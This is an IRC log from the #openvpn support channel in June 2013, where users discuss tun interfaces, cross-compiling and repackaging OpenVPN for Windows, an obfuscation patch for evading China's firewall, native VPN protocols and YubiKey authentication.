21:33 < timmmaaaayyy> feel like i've installed this tons of times on debian and it always creates the tun interface on its own.  maybe that's unique to debian.....i don't know.  i just thought maybe this channel would be a good place to turn to figure out how to get the tun interface back.  clearly im mistaken
21:33 < timmmaaaayyy> thanks anyways
21:34 < pekster> Why does it matter? If you're creating a persistent device you usually don't name it 'tun0'
21:34 < pekster> You'd give it a specific name, like 'tun_someNetwork' or such
21:46 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
21:47 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has left #openvpn []
23:14 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
23:20 -!- darkdrgn2k [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has quit [Read error: No route to host]
23:23 -!- darkdrgn2k [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has joined #openvpn
23:39 -!- EUGENEKAY is now known as EugeneKay
23:58 -!- zeus__ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
--- Day changed Sat Jun 29 2013
00:14 -!- Gasseus is now known as Rallias
00:43 -!- zeus__ [~takamichi@c122-219.i07-31.onvol.net] has quit [Remote host closed the connection]
01:08 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 260 seconds]
01:15 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 240 seconds]
01:18 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
01:18 -!- Willis [Willis@173.234.237.131] has joined #openvpn
01:58 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
02:00 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
02:18 -!- Willis_ [Willis@173.234.237.131] has joined #openvpn
02:18 -!- hjohnson_ [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
02:18 -!- rawtaz_ [~rawtaz@rho.hobbyhotellet.se] has joined #openvpn
02:18 -!- trumee [~parul@93.186.144.251] has quit [Ping timeout: 276 seconds]
02:18 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 276 seconds]
02:18 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 276 seconds]
02:18 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 276 seconds]
02:18 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has quit [Ping timeout: 276 seconds]
02:18 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 276 seconds]
02:18 -!- moartr4dez [~moartr4de@168.62.170.69] has quit [Ping timeout: 276 seconds]
02:18 -!- Alina-malina [Alina-mali@46.162.236.108] has quit [Ping timeout: 276 seconds]
02:18 -!- rawtaz [~rawtaz@rho.hobbyhotellet.se] has quit [Ping timeout: 276 seconds]
02:18 -!- moartr4dez [~moartr4de@168.62.170.69] has joined #openvpn
02:18 -!- hjohnson_ is now known as hjohnson
02:18 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
02:18 -!- trumee_ [~parul@93.186.144.251] has joined #openvpn
02:18 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
02:18 -!- moartr4dez is now known as Guest70669
02:19 -!- Alina-malina [Alina-mali@46.162.236.108] has joined #openvpn
02:19 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
02:21 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
02:25 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
02:50 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
02:50 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
02:52 -!- WormFood [~wormfood@120.128.2.171] has quit [Ping timeout: 252 seconds]
02:59 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
03:14 -!- WormFood [~wormfood@124.68.6.14] has joined #openvpn
03:15 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
03:24 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
03:29 -!- adac [~adac@95.171.49.30] has joined #openvpn
04:11 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
04:15 -!- trumee_ [~parul@93.186.144.251] has quit [Read error: Connection reset by peer]
04:19 -!- trumee [~parul@93.186.144.251] has joined #openvpn
05:02 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
05:10 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
05:21 -!- itpings [~stek@92.46.9.17] has joined #openvpn
05:25 < itpings> hey all
05:26 < itpings> hey guys hows it goin ?
06:02 < Changos> hi itpings
06:02 < Changos> not much
06:05 < itpings> will be back
06:23 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
06:23 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
06:23 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Client Quit]
06:25 -!- _val_ [unix@freebsd/user/val] has quit [Read error: Connection reset by peer]
06:27 -!- stek_ [~stek@95.56.78.139] has joined #openvpn
06:30 -!- itpings [~stek@92.46.9.17] has quit [Ping timeout: 240 seconds]
06:35 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 264 seconds]
06:49 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
07:17 -!- stek_ is now known as itpings
07:17 < itpings> !helo
07:25 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
07:32 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 260 seconds]
07:32 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
07:49 -!- Denial [~Denial@90.205.133.229] has joined #openvpn
08:30 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
08:33 -!- adac [~adac@95.171.49.30] has quit [Ping timeout: 252 seconds]
08:40 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
09:01 -!- stek_ [~stek@92.46.8.173] has joined #openvpn
09:03 -!- itpings [~stek@95.56.78.139] has quit [Ping timeout: 256 seconds]
09:08 -!- myp [~andrew@mx2.admin.tomsk.ru] has quit [Ping timeout: 246 seconds]
09:08 -!- myp [~andrew@mx2.admin.tomsk.ru] has joined #openvpn
09:21 -!- iliv [~iliv@178.137.25.199] has joined #openvpn
09:25 -!- iliv [~iliv@178.137.25.199] has quit [Ping timeout: 256 seconds]
09:44 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
09:47 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
09:50 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
09:59 -!- Devastator- [~devas@177.99.154.104] has joined #openvpn
10:01 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
10:02 -!- Devastator- [~devas@177.99.154.104] has quit [Changing host]
10:02 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
10:02 -!- Devastator- is now known as Devastator
10:07 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 246 seconds]
10:15 -!- p3rror [~p3rror@41.249.129.63] has joined #openvpn
10:42 -!- rawtaz_ is now known as rawtaz
10:43 -!- Devastator [~devas@177.99.154.104] has joined #openvpn
10:43 -!- Devastator [~devas@177.99.154.104] has quit [Changing host]
10:43 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
10:44 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
10:58 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
11:02 < WormFood> is the openvpn.net web site having problems?
11:08 -!- emmanuelux [~emmanuelu@94.23.70.250] has joined #openvpn
11:21 -!- Devastator [~devas@unaffiliated/devastator] has quit []
11:24 < WormFood> can someone point me to the short instructions for cross-compiling (on Linux) just the openvpn executable for Windows?
11:27 -!- Devastator [~devas@177.99.154.104] has joined #openvpn
11:27 -!- Devastator [~devas@177.99.154.104] has quit [Changing host]
11:27 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
12:00 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
12:01 < Thermi> Is there a way to make openvpn log to stdout?
12:03 -!- Devastator [~devas@unaffiliated/devastator] has quit []
12:09 -!- Devastator [~devas@177.99.154.104] has joined #openvpn
12:09 -!- Devastator [~devas@177.99.154.104] has quit [Changing host]
12:09 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
12:11 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 260 seconds]
12:14 < pekster> WormFood: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem
12:14 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net)
12:14 -!- adac [~adac@95.171.49.30] has joined #openvpn
12:15 < pekster> It's far easier to cross-compile from a *nix host (Ubuntu works well, since the docs are targeted to that platform with the libs you'll need.) It's "possible" to build on Windows using mingw, but I suggest you don't bother
12:15 < WormFood> thanks pekster
12:15 < WormFood> I have no desire or interest to build anything on a windows system
12:15 < pekster> I'm using 13.04 server successfully, although some of the exact library names differed a bit
12:15 < WormFood> in fact, I don't even want to make the installer package, I just need to slightly tweak the openvpn executable...so I figured I'd use the normal installer, then just swap out the .exe
12:16 < WormFood> I'm using Debian....so I hope the instructions are close enough to not give me a hassle.
12:16 < pekster> You'll at the very least have to re-package it yourself with the included nsis script since you can't edit a signed binaryu
12:16 < pekster> binary*
12:17 < pekster> Well, just not with a key that's not yours
12:20 < WormFood> why would the binary need to be signed?
12:20 < WormFood> I understand the tap/tun driver needs to be signed...but the executable?
12:20 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
12:20 < pekster> You can't just "edit" the existing openvpn-install-*.exe with your own openvpn.exe becuase the entire installation package is signed by "OpenVPN Technologies Inc."
12:21 < pekster> If you tamper with their installer, the signature (the one made with *their* private key) won't match
12:21 < pekster> Thus you can't just "drop in" your modified program binary; you must re-package your own nsis installer (which may either be unsigned to no ill effects beyond a warning on modern OSes, or signed with a code signing key you control)
12:22 < pekster> And yes, I strongly suggest you use the existing tap installer that you can extract and re-use from the official binaries, unless you plan to sign it yourself so OSes requiring signed drivers play nice
12:22 < WormFood> I don't want to edit the installer
12:22 < WormFood> I want to use the existing distributed installer, then just replace the .exe
12:22 < pekster> "distributed" installer?
12:22 < pekster> It's just an NSIS-installation
12:22 < WormFood> the one on the openvpn web site
12:22 < WormFood> right
12:22 < pekster> You can't replace the "openvpn.exe" inside of it
12:23 < WormFood> I've looked into nsis before....steep learning curve
12:23 < pekster> Consiering the page I linked you to has copy-and-pastable commands, I don't see how
12:23 < WormFood> I'm not going to even try to replace the openvpn.exe inside of it
12:23 < WormFood> I must not have made myself clear enough.....
12:23 < WormFood> I want to use the stock installer...install openvpn like normal...then replace the openvpn.exe with my compiled copy, after everything is installed.
12:24 < pekster> That's... silly. Why not just take your compiled copy and run the makensis command?
12:24 < pekster> I mean, do what you want, but why not skip the "and after install do this manual step" part?
12:25 < WormFood> well, last time I tried to make it, I failed. I haven't tried lately. A regular installer would be easiest for the end user....I was just thinking this would be easiest for me.
12:25 < WormFood> but I will check out the instructions, and if I can make the nsis installer work, I'll go that route.
12:26 < pekster> IIRC the only issue I had was a missing "license.txt" after the compile finished. If you read the error message (should you get that during makensis too) all you need to do is extract the license.txt and put it where it's looked for
12:26 < pekster> And that may or may not be fixed with a current checkout of the openvpn-build.git source
12:26 < WormFood> what about signing the tap device. Is there anything special about that?
12:27 < WormFood> or do I even need to do that?
12:27 < pekster> Yes, that is special. If you see the makensis command, you just give it the tap installer you want to use
12:27 < pekster> Just use the stock upstream (already-signed) version, unless you plan to make code changes to the tap driver itself
12:27 < WormFood> no, no need to touch that.
12:28 < WormFood> what I'm doing is so simple. I hope the patch I'm using will be applied to the base openvpn, and available for everyone....I live in China, and openvpn is specifically being targeted and blocked, so I've used an "xor patch", to scramble the data, to thwart the deep packet inspection of the great firewall of China
12:29 < pekster> Did you see the follow-up you got on the ML? You should follow the advise instaed of complaining here every month or two and make it a plugin
12:30 < WormFood> I wasn't complaining...and I didn't say anything on the mailing list
12:30 < pekster> We don't need "yet another" config option for doing something that's not at all related to openvpn; in fact, by making it a plugin, the exact mechanism to do the obfuscation of traffic itself becomes abstracted
12:30 < WormFood> i'm not even on the ML
12:30 < pekster> Well "someone" sent a xor-obfuscation-patch there already and was told that it's a nifty idea, but it should be implemented as a plugin, not as an option within openvpn itself
12:30 < WormFood> I don't know who you think I am, but I'm not who you think. I just found this patch a few days ago....and I agree, if it can be made as a plugin, instead of a patch to the core, then that'd be better and more modular
12:31 < pekster> Didn't mean to bite your head off, but the former person to complain in here (or maybe #openvpn-devel) was quite annoying
12:31 < WormFood> wasn't me. I wasn't complaining at all. This is just an annoyance...nothing major
12:31 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Quit: exed]
12:32 < pekster> There's also:
12:32 < pekster> !obfs
12:32 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is being used.
12:32 <@vpnHelper> in static-key mode they only know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity)
12:32 < WormFood> so, is there a plugin system for openvpn, that this xor patch could in theory run through?
12:34 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: No route to host]
12:34 < pekster> Yea, see the openvpn-plugin.h in the source tarball to get started
12:35 < pekster> It wouldn't hurt to browse the 2 stock plugins to get a feel for how they work generically; searching for the ML thread (IIRC on openvpn-devel@sourceforge.net) wouldn't be a bad idea eather as devs already offered some ideas
12:35 < pekster> And there's #openvpn-devel if you want a lower-traffic channel with more devs available to point you in the right direction (it's low-traffic, so be patient; not everyone is in the same part of the world there)
12:38 < WormFood> I doubt I'd have the time to invest into this any time soon. I'll have to go the path of least resistance for right now.
12:38 -!- mchou [~quassel@unaffiliated/mchou] has quit [Read error: Connection reset by peer]
12:38 < pekster> Sure, just pointing you in the right direction if you eventually want to make this an extensible plugin that anyone can use
12:39 < pekster> The general goal in current development is to avoid the introduction of "even more runtime options" that aren't strictly related to openvpn itself
12:39 < pekster> I do see the use of traffic obfuscation, but it should either be done via an external project (eg: obfs) or by a plugin that uses the existing plugin API openvpn already provides
12:39 -!- kplong [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
12:40 < WormFood> those are good goals to have, I agree.
12:41 < pekster> The thread to search for is called "[PATCH] OpenVPN Obfusscation" and was dated 1/23/2013
12:41 < kplong> Is there any configuration of OpenVPN server that will allow OSX/Win7 clients to connect "natively" through their network preferences without using the openvpn client?
12:42 < kplong> just curious what the difference is, if that is not possible.
12:42 < pekster> Thermi: OpenVPN does output logs to stdout unless you tell it outerwise. See the bot's output for !logfile if you need more help on how openvpn can log
12:42 < Thermi> Noticed that already, but thanks. :D
12:43 < pekster> kplong: No, becuase OpenVPN uses the OpenVPN protocol, which is only supported by OpenVPN (and "mostly supported" by the non-free AS/Connect stuff)
12:43 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
12:44 < pekster> kplong: It's a bit like asking ssh to work natively from the Windows command prompt; you just can't do that becuase ssh is also its own protocol; someone has to write support for it (and you can be sure Redmond won't be doing that.) Maybe that analogy makes it easier to grasp
12:44 < WormFood> what is the native VPN of Windows/OSX? I know in the past, they used ppptp, but not sure of the current state. I know my android phone uses l2tp
12:45 < pekster> l2tp is Microsoft's thing, done marginally poorly as usual; at least it's better than pptp, which we've known to have security weaknesses for over a decade now (Bruce Schennier had some good docs in the early 2000's) and a little over a year ago Moxie & Co completely broke pptp
12:46 < pekster> Most modern OSes have native (or easily available in the case of Linux) IPSec implementations with IKE2 as well these-days
12:46 < Thermi> Use IPsec, if you need compatibility.
12:46 < pekster> IKEv2*
12:47 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
12:48 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
12:54 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
12:56 < WormFood> pekster, thanks for all your help/advice/suggestions.
13:00 < pekster> Sure thing; if you ever get the urge to try designing a plugin to extend the functionality more generically, the -devel ML or channel would be good places to gather some info. It's something the core devs don't have time for, so contributions in that area would be welcome
13:01 < WormFood> I'd love to be able to contribute something like that, back to the community....but I simply don't have time for it right now
13:01 < WormFood> maybe if things get slow, and I can find some time, I'll look into it.
13:02 < pekster> No worries, just dropping the idea in your head ;)
13:02 < WormFood> thanks ;)
13:02 < pekster> (that's exactly why some of the development now ends with some backlogged patches -- too much to do, and not enough free developer time available)
13:03 < WormFood> understandable
13:03 < pekster> The "scratch your own itch" approach applies to a lot of FOSS projects: if you want it done, either do it, or pay someone to do it :P
13:04 < pekster> Anyway, good luck; feel free to use the resources if you need help making the build or nsis stuff work too from the cross-dev setup
13:04 < WormFood> yeah, I do that whenever I need...and when I can contribute something back, I do. I've had my patches included in a few open source projects :D
13:07 < WormFood> and sometimes I'll send a postcard to a developer, as a personal thanks, for projects that are close to me. (since I live in China, I hope that a personal postcard means more, than if I lived someplace common, like USA)
13:19 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Quit: exed]
13:27 -!- adac [~adac@95.171.49.30] has quit [Ping timeout: 268 seconds]
13:29 -!- Thermi_ [~Thermi@unaffiliated/thermi] has joined #openvpn
13:31 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 256 seconds]
13:31 -!- Thermi_ is now known as Thermi
13:33 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
13:37 -!- Devastator [~devas@177.99.154.104] has joined #openvpn
13:42 -!- Devastator [~devas@177.99.154.104] has quit [Changing host]
13:42 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
13:57 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
14:11 -!- adac [~adac@95.171.49.30] has joined #openvpn
14:13 -!- HaxCore [~p3rror@41.140.40.255] has joined #openvpn
14:16 -!- p3rror [~p3rror@41.249.129.63] has quit [Ping timeout: 260 seconds]
14:32 -!- HaxCore [~p3rror@41.140.40.255] has quit [Quit: Leaving]
14:48 -!- adac [~adac@95.171.49.30] has quit [Ping timeout: 268 seconds]
14:50 -!- p3rror [~p3rror@41.140.40.255] has joined #openvpn
14:55 -!- p3rror [~p3rror@41.140.40.255] has quit [Read error: Operation timed out]
15:00 -!- p3rror [~p3rror@41.140.40.255] has joined #openvpn
15:11 -!- Denial [~Denial@90.205.133.229] has quit []
15:12 -!- adac [~adac@95.171.49.30] has joined #openvpn
15:29 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 256 seconds]
15:35 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
15:35 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
16:27 -!- erry is now known as zombierry
16:32 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
16:36 < Lars_G> Hullo
16:37 < Lars_G> Does openvpn have any (small, or large) heartbeat or stream? or will it consume data only when stuff is passed thorough the tunnel?
16:44 -!- p3rror [~p3rror@41.140.40.255] has quit [Quit: Leaving]
16:45 -!- kevinlongmusic [~kevinlong@75-145-28-158-Washington.hfc.comcastbusiness.net] has joined #openvpn
16:45 -!- kevinlongmusic is now known as klong
16:45 -!- klong is now known as klong-
16:47 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 256 seconds]
16:53 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 256 seconds]
17:00 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-nnqtduiawojgbgxg] has quit [Ping timeout: 256 seconds]
17:02 -!- p3rror [~p3rror@41.140.40.255] has joined #openvpn
17:02 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-ysgapiuhbogisxrg] has joined #openvpn
17:04 -!- johanbr [~johanbr@vps.nullinfinity.org] has joined #openvpn
17:05 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:07 < johanbr> Hi. I'm having trouble getting OpenVPN to give me more than one authentication prompt (specifically, for password and yubikey). If I require both pam_unix and pam_yubico, I only get a prompt for the password, followed by a failed authentication. Do I need to change something in the openvpn and/or pam config?
17:08 -!- Devastator [~devas@177.99.154.104] has joined #openvpn
17:08 -!- Devastator [~devas@177.99.154.104] has quit [Changing host]
17:08 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
17:11 < johanbr> Also, password+yubikey works with use_first_pass, but I'd prefer not to do that.
17:12 -!- Lars_G [~Lars@unaffiliated/lars-g/x-000001] has quit [Ping timeout: 240 seconds]
17:14 -!- zombierry is now known as erry
17:21 -!- master_o1_master [~master_of@p4FD7BB47.dip0.t-ipconnect.de] has joined #openvpn
17:24 -!- master_of_master [~master_of@p4FF241A6.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
17:34 -!- klong- [~kevinlong@75-145-28-158-Washington.hfc.comcastbusiness.net] has quit [Quit: This computer has gone to sleep]
17:41 -!- p3rror [~p3rror@41.140.40.255] has quit [Ping timeout: 246 seconds]
17:45 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 252 seconds]
17:47 -!- landono [~landono@199-58-199-98.acedc.net] has quit [Ping timeout: 252 seconds]
17:48 -!- Devastator [~devas@177.99.154.104] has joined #openvpn
17:49 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
17:51 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
18:06 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
18:07 -!- averagecase [~anon@dslb-088-078-157-065.pools.arcor-ip.net] has joined #openvpn
18:23 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:25 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:29 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
18:38 -!- adac [~adac@95.171.49.30] has quit [Remote host closed the connection]
18:42 -!- hipodilski [~hipo@pc-freak.net] has quit [Read error: Operation timed out]
18:43 -!- Devastator [~devas@177.99.154.104] has quit [Ping timeout: 240 seconds]
18:48 -!- Devastator [~devas@177.99.154.104] has joined #openvpn
18:54 -!- erry [erry@freenode/staff/erry] has left #openvpn []
19:05 -!- Trueborn [~Trueborn@rrcs-66-91-141-34.west.biz.rr.com] has joined #openvpn
19:05 < Trueborn> !welcome
19:05 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:05 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:06 < Trueborn> !goal
19:06 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
19:07 < Trueborn> Alright then. I want to use OpenVPN Connect on my Android without PKI or certificates; just secret keys.
19:13 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 248 seconds]
19:18 <@krzee> if connect does not do that, try "openvpn for android"
19:19 <@krzee> openvpn connect is a closed source re-write, openvpn for android is the opensource openvpn with android additions (like using the vpn api)
19:21 -!- hipodilski [~hipo@pc-freak.net] has joined #openvpn
19:21 -!- Devastator [~devas@177.99.154.104] has quit [Changing host]
19:21 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
19:37 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
19:38 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
19:41 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
20:12 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
20:14 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Remote host closed the connection]
20:14 -!- averagecase [~anon@dslb-088-078-157-065.pools.arcor-ip.net] has quit [Quit: Verlassend]
20:15 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
20:16 -!- Donks [~donks@66-189-85-73.static.oxfr.ma.charter.com] has joined #openvpn
20:19 -!- jim8376 [~JB3F975F4@cpe-75-80-152-221.san.res.rr.com] has joined #openvpn
20:21 -!- jim8376 [~JB3F975F4@cpe-75-80-152-221.san.res.rr.com] has quit [Client Quit]
20:21 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
20:23 -!- jim8376 [~JB3F975F4@cpe-75-80-152-221.san.res.rr.com] has joined #openvpn
20:24 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Remote host closed the connection]
20:26 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
20:26 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
20:27 -!- jim8376 [~JB3F975F4@cpe-75-80-152-221.san.res.rr.com] has quit [Client Quit]
20:35 -!- jim9438 [~JB3F975F4@cpe-75-80-152-221.san.res.rr.com] has joined #openvpn
21:16 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
21:22 -!- jim9438 [~JB3F975F4@cpe-75-80-152-221.san.res.rr.com] has quit [Quit: Leaving.]
21:24 -!- Devastator [~devas@177.99.154.104] has joined #openvpn
21:24 -!- Devastator [~devas@177.99.154.104] has quit [Changing host]
21:24 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
21:38 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
21:39 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
21:43 -!- ctx144k [~andre@p5B340350.dip0.t-ipconnect.de] has joined #openvpn
21:45 < ctx144k> hi, can someone decode the data between an openvpn connection, when he knows username/password?  (man in the middle attac?)
21:48 < Poster> you'll typically either have a preshared key (less secure) or ssl certificates/keys signed by a trusted CA
21:48 < Poster> if one had the preshared key, presumably yes
21:50 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 248 seconds]
21:52 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
21:53 -!- ctx144k_ [~andre@p5B342053.dip0.t-ipconnect.de] has joined #openvpn
21:53 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
21:54 < ctx144k_> hmpf
21:56 -!- ctx144k [~andre@p5B340350.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
21:58 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 246 seconds]
21:58 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
22:03 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 240 seconds]
22:19 < Trueborn> krzee, sorry this is such a big gap in time from the original question, but thanks. I'll give it a shot.
22:22 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
22:25 -!- Donks [~donks@66-189-85-73.static.oxfr.ma.charter.com] has quit [Quit: Donks]
22:27 -!- Donks [~donks@66-189-85-73.static.oxfr.ma.charter.com] has joined #openvpn
22:27 -!- Donks [~donks@66-189-85-73.static.oxfr.ma.charter.com] has quit [Client Quit]
22:36 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
23:11 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
23:18 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
23:21 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
23:22 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
23:23 -!- Devastator [~devas@177.99.154.104] has joined #openvpn
23:38 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 256 seconds]
23:40 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
23:42 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
23:50 -!- Devastator [~devas@177.99.154.104] has quit [Changing host]
23:50 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
--- Day changed Sun Jun 30 2013
00:02 -!- iliv [~iliv@178.137.25.199] has joined #openvpn
00:11 -!- ctx144k_ [~andre@p5B342053.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
01:02 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 264 seconds]
